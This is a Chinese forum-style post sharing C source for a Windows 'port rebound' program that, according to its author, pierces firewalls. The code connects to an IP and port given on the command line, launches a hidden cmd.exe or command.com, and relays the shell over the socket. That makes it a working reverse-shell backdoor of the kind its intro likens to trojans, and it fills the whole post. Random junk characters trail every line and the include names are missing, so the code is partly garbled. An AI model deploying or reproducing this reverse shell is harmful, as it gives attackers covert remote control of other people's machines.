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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &y1iLk h^  
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/* ============================== 9 Xl#$d5  
Rebound port in Windows NT 6{^\7`  
By wind,2006/7 +D4m@O  
===============================*/ CmbgEGIh[a  
#include 1$Q[%9  
#include %i/|}K  
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#pragma comment(lib,"wsock32.lib") Y$"m*0  
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void OutputShell(); I<sUB4T>#W  
SOCKET sClient; wT- <#+L\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =H23eOS_#  
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void main(int argc,char **argv) l3ogMRq@  
{ Kw;gQk~R!  
WSADATA stWsaData; "0Z /|&  
int nRet; =y@0i l+V  
SOCKADDR_IN stSaiClient,stSaiServer; $\vNST E  
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if(argc != 3) "ldd&><  
{ 'R'hRMD9o  
printf("Useage:\n\rRebound DestIP DestPort\n"); d7G@Z|R3p  
return; #k)z5vZ$h  
} P2f^]z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -Z:x!M[Xr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <'$>&^!^  
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stSaiClient.sin_family = AF_INET; !*~QB4\2b  
stSaiClient.sin_port = htons(0); hx;kNcPbI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XC~"T6F  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4 FZR }e\  
{ Q>+rjN;  
printf("Bind Socket Failed!\n"); k'|yUJ,  
return; +x`pWH]2  
} =oh%-Sh:  
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stSaiServer.sin_family = AF_INET; ,q#SAZ/N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !',%kvJI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b/m.VL  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '{.4~:  
{ 4.wrY6+V  
printf("Connect Error!"); %5zIh[!1$  
return; @w.DN)GPo  
} L>1y[ Q  
OutputShell(); wGT>Xh!  
} gt.F[q3  
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void OutputShell() wE=I3E%  
{ f&^"[S"\f  
char szBuff[1024]; DjN1EP\Xx  
SECURITY_ATTRIBUTES stSecurityAttributes; M\k[?i  
OSVERSIONINFO stOsversionInfo; u&S0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G;vj3#u?  
STARTUPINFO stStartupInfo; y0T#Qq  
char *szShell; 65O 8?I  
PROCESS_INFORMATION stProcessInformation; fUY05OMZ  
unsigned long lBytesRead; /%,aX [  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6S n&; ap  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =8tK]lb  
stSecurityAttributes.lpSecurityDescriptor = 0; nt()UC`5  
stSecurityAttributes.bInheritHandle = TRUE; $MQ<QP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -V~Fj~b#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s#a`e]#?  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @XtrC|dkkE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qyVARy  
stStartupInfo.wShowWindow = SW_HIDE; 6QT&{|q=  
stStartupInfo.hStdInput = hReadPipe; 6XZjZ*)W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H{N},B  
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GetVersionEx(&stOsversionInfo); sm{0o$\Z  
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switch(stOsversionInfo.dwPlatformId) FCwE/ 2,  
{ yevJA?C4 v  
case 1: iJoYxx  
szShell = "command.com"; `<v$+mG  
break; Z}vDP^rf  
default: Pvt!G  
szShell = "cmd.exe"; &v;fK$=2C  
break; .s4v*bng  
} F Xr\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _U4@W+lhX_  
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send(sClient,szMsg,77,0); rX5"p!z  
while(1) d*6/1vyjT  
{ uZ3do|um  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z(%tu  
if(lBytesRead) #7'k'(  
{ m(9I+`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D{\o*\TN  
send(sClient,szBuff,lBytesRead,0); |X XO0  
} }xBO;  
else zd$?2y8  
{ Hu6Qr  
lBytesRead=recv(sClient,szBuff,1024,0); . IY@Q  
if(lBytesRead<=0) break; ey9hrRMR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mP6}$ D  
} 5+oY c-  
} 8:S+*J[gSn  
{t! &x:  
return; V;CRs\aYf  
}
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